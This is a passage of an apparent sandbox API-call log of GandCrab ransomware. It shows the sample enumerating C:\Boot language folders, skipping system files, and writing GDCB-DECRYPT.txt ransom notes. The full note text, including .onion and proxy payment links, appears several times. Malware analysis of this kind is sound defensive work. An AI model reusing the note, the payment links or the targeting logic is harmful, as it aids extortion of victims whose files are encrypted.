lpString2="ntuser.dat") returned -1 [0052.723] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.723] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.723] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.723] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.723] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.723] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.723] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.723] FindNextFileW (in: hFindFile=0x588a60, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.723] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.723] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.723] lstrcatW (in: lpString1="C:\\Boot\\hu-HU\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\hu-HU\\memtest.exe.mui") returned="C:\\Boot\\hu-HU\\memtest.exe.mui" [0052.723] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.724] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\hu-HU\\memtest.exe.mui") returned 29 [0052.724] lstrlenW (lpString="C:\\Boot\\hu-HU\\memtest.exe.mui") returned 29 [0052.724] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.724] FindNextFileW (in: hFindFile=0x588a60, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.724] FindClose (in: hFindFile=0x588a60 | out: hFindFile=0x588a60) returned 1 [0052.724] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.724] lstrcmpW (lpString1="it-IT", lpString2=".") returned 1 [0052.724] lstrcmpW (lpString1="it-IT", lpString2="..") returned 1 [0052.724] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="it-IT" | out: lpString1="C:\\Boot\\it-IT") returned="C:\\Boot\\it-IT" [0052.724] lstrcatW (in: lpString1="C:\\Boot\\it-IT", lpString2="\\" | out: lpString1="C:\\Boot\\it-IT\\") returned="C:\\Boot\\it-IT\\" [0052.724] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.725] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.725] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.725] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.725] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.725] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.725] lstrlenW (lpString="C:\\Boot\\it-IT\\") returned 14 [0052.725] lstrcatW (in: lpString1="C:\\Boot\\it-IT\\", lpString2="*" | out: lpString1="C:\\Boot\\it-IT\\*") returned="C:\\Boot\\it-IT\\*" [0052.725] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588b20 [0052.730] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.730] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.730] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.730] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.730] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.730] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.730] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.730] lstrcatW (in: lpString1="C:\\Boot\\it-IT\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned="C:\\Boot\\it-IT\\bootmgr.exe.mui" [0052.730] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0052.730] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.730] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.730] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.730] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.730] lstrcatW (in: lpString1="C:\\Boot\\it-IT\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\it-IT\\memtest.exe.mui") returned="C:\\Boot\\it-IT\\memtest.exe.mui" [0052.730] lstrlenW (lpString="C:\\Boot\\it-IT\\memtest.exe.mui") returned 29 [0052.730] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.730] FindNextFileW (in: hFindFile=0x588b20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.731] FindClose (in: hFindFile=0x588b20 | out: hFindFile=0x588b20) returned 1 [0052.731] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.731] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\it-IT\\\\GDCB-DECRYPT.txt") returned 31 [0052.731] CreateFileW (lpFileName="C:\\Boot\\it-IT\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\it-it\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.732] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.732] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.732] CloseHandle (hObject=0x4e0) returned 1 [0052.732] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.732] lstrlenW (lpString="C:\\Boot\\it-IT\\") returned 14 [0052.732] lstrcatW (in: lpString1="C:\\Boot\\it-IT\\", lpString2="*" | out: lpString1="C:\\Boot\\it-IT\\*") returned="C:\\Boot\\it-IT\\*" [0052.733] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588ee0 [0052.733] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.733] FindNextFileW (in: hFindFile=0x588ee0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.733] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.733] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.733] FindNextFileW (in: hFindFile=0x588ee0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.733] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.733] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.733] lstrcatW (in: lpString1="C:\\Boot\\it-IT\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned="C:\\Boot\\it-IT\\bootmgr.exe.mui" [0052.733] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.733] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0052.733] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0052.733] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.733] FindNextFileW (in: hFindFile=0x588ee0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.733] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.734] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.734] lstrcatW (in: lpString1="C:\\Boot\\it-IT\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\it-IT\\GDCB-DECRYPT.txt") returned="C:\\Boot\\it-IT\\GDCB-DECRYPT.txt" [0052.734] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.734] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\it-IT\\GDCB-DECRYPT.txt") returned 30 [0052.734] lstrlenW (lpString="C:\\Boot\\it-IT\\GDCB-DECRYPT.txt") returned 30 [0052.734] lstrlenW (lpString="C:\\Boot\\it-IT\\GDCB-DECRYPT.txt") returned 30 [0052.734] lstrlenW (lpString="C:\\Boot\\it-IT\\GDCB-DECRYPT.txt") returned 30 [0052.734] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.734] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.734] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.734] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.734] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.734] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.734] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.734] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.734] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.734] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.734] FindNextFileW (in: hFindFile=0x588ee0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.734] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.734] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.734] lstrcatW (in: lpString1="C:\\Boot\\it-IT\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\it-IT\\memtest.exe.mui") returned="C:\\Boot\\it-IT\\memtest.exe.mui" [0052.734] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.735] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\it-IT\\memtest.exe.mui") returned 29 [0052.735] lstrlenW (lpString="C:\\Boot\\it-IT\\memtest.exe.mui") returned 29 [0052.735] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.735] FindNextFileW (in: hFindFile=0x588ee0, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.735] FindClose (in: hFindFile=0x588ee0 | out: hFindFile=0x588ee0) returned 1 [0052.735] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.735] lstrcmpW (lpString1="ja-JP", lpString2=".") returned 1 [0052.735] lstrcmpW (lpString1="ja-JP", lpString2="..") returned 1 [0052.735] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="ja-JP" | out: lpString1="C:\\Boot\\ja-JP") returned="C:\\Boot\\ja-JP" [0052.735] lstrcatW (in: lpString1="C:\\Boot\\ja-JP", lpString2="\\" | out: lpString1="C:\\Boot\\ja-JP\\") returned="C:\\Boot\\ja-JP\\" [0052.735] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.736] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.736] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.736] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.736] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.736] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.736] lstrlenW (lpString="C:\\Boot\\ja-JP\\") returned 14 [0052.736] lstrcatW (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="*" | out: lpString1="C:\\Boot\\ja-JP\\*") returned="C:\\Boot\\ja-JP\\*" [0052.736] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588a20 [0052.737] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.737] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.737] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.737] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.737] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.737] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.737] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.738] lstrcatW (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned="C:\\Boot\\ja-JP\\bootmgr.exe.mui" [0052.738] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0052.738] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.738] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.738] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.738] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.738] lstrcatW (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\ja-JP\\memtest.exe.mui") returned="C:\\Boot\\ja-JP\\memtest.exe.mui" [0052.738] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29 [0052.738] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.738] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.738] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.738] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.738] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\ja-JP\\\\GDCB-DECRYPT.txt") returned 31 [0052.738] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\ja-jp\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.739] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0052.739] WriteFile (in: hFile=0x4e0, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285f794, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285f794*=0xad6, lpOverlapped=0x0) returned 1 [0052.739] CloseHandle (hObject=0x4e0) returned 1 [0052.739] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.740] lstrlenW (lpString="C:\\Boot\\ja-JP\\") returned 14 [0052.740] lstrcatW (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="*" | out: lpString1="C:\\Boot\\ja-JP\\*") returned="C:\\Boot\\ja-JP\\*" [0052.740] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0x588a20 [0052.740] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.740] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.740] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.740] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.740] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.740] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.740] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.740] lstrcatW (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned="C:\\Boot\\ja-JP\\bootmgr.exe.mui" [0052.740] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.740] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0052.740] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0052.740] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.740] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.740] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0052.740] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0052.741] lstrcatW (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Boot\\ja-JP\\GDCB-DECRYPT.txt") returned="C:\\Boot\\ja-JP\\GDCB-DECRYPT.txt" [0052.741] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.741] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\ja-JP\\GDCB-DECRYPT.txt") returned 30 [0052.741] lstrlenW (lpString="C:\\Boot\\ja-JP\\GDCB-DECRYPT.txt") returned 30 [0052.741] lstrlenW (lpString="C:\\Boot\\ja-JP\\GDCB-DECRYPT.txt") returned 30 [0052.741] lstrlenW (lpString="C:\\Boot\\ja-JP\\GDCB-DECRYPT.txt") returned 30 [0052.741] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0052.741] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0052.741] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0052.741] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0052.741] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0052.741] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0052.741] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0052.741] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0052.741] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0052.741] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.741] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 1 [0052.741] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.741] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.741] lstrcatW (in: lpString1="C:\\Boot\\ja-JP\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\ja-JP\\memtest.exe.mui") returned="C:\\Boot\\ja-JP\\memtest.exe.mui" [0052.741] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.742] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29 [0052.742] lstrlenW (lpString="C:\\Boot\\ja-JP\\memtest.exe.mui") returned 29 [0052.742] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.742] FindNextFileW (in: hFindFile=0x588a20, lpFindFileData=0x285f7b0 | out: lpFindFileData=0x285f7b0) returned 0 [0052.742] FindClose (in: hFindFile=0x588a20 | out: hFindFile=0x588a20) returned 1 [0052.742] FindNextFileW (in: hFindFile=0x588ce0, lpFindFileData=0x285fa38 | out: lpFindFileData=0x285fa38) returned 1 [0052.742] lstrcmpW (lpString1="ko-KR", lpString2=".") returned 1 [0052.742] lstrcmpW (lpString1="ko-KR", lpString2="..") returned 1 [0052.742] lstrcatW (in: lpString1="C:\\Boot\\", lpString2="ko-KR" | out: lpString1="C:\\Boot\\ko-KR") returned="C:\\Boot\\ko-KR" [0052.742] lstrcatW (in: lpString1="C:\\Boot\\ko-KR", lpString2="\\" | out: lpString1="C:\\Boot\\ko-KR\\") returned="C:\\Boot\\ko-KR\\" [0052.742] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.743] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0052.743] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0052.743] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0052.743] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0052.743] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0052.743] lstrlenW (lpString="C:\\Boot\\ko-KR\\") returned 14 [0052.743] lstrcatW (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="*" | out: lpString1="C:\\Boot\\ko-KR\\*") returned="C:\\Boot\\ko-KR\\*" [0052.743] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0x588de0 [0052.743] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.743] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.743] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.743] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.743] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.743] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2=".") returned 1 [0052.743] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="..") returned 1 [0052.743] lstrcatW (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="bootmgr.exe.mui" | out: lpString1="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned="C:\\Boot\\ko-KR\\bootmgr.exe.mui" [0052.743] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0052.743] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.743] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 1 [0052.743] lstrcmpW (lpString1="memtest.exe.mui", lpString2=".") returned 1 [0052.743] lstrcmpW (lpString1="memtest.exe.mui", lpString2="..") returned 1 [0052.743] lstrcatW (in: lpString1="C:\\Boot\\ko-KR\\", lpString2="memtest.exe.mui" | out: lpString1="C:\\Boot\\ko-KR\\memtest.exe.mui") returned="C:\\Boot\\ko-KR\\memtest.exe.mui" [0052.743] lstrlenW (lpString="C:\\Boot\\ko-KR\\memtest.exe.mui") returned 29 [0052.743] lstrcmpW (lpString1=".mui", lpString2=".sql") returned -1 [0052.743] FindNextFileW (in: hFindFile=0x588de0, lpFindFileData=0x285f540 | out: lpFindFileData=0x285f540) returned 0 [0052.743] FindClose (in: hFindFile=0x588de0 | out: hFindFile=0x588de0) returned 1 [0052.743] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0052.744] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Boot\\ko-KR\\\\GDCB-DECRYPT.txt") returned 31 [0052.744] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\\\GDCB-DECRYPT.txt" (normalized: "c:\\boot\\ko-kr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e0 [0052.745] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: 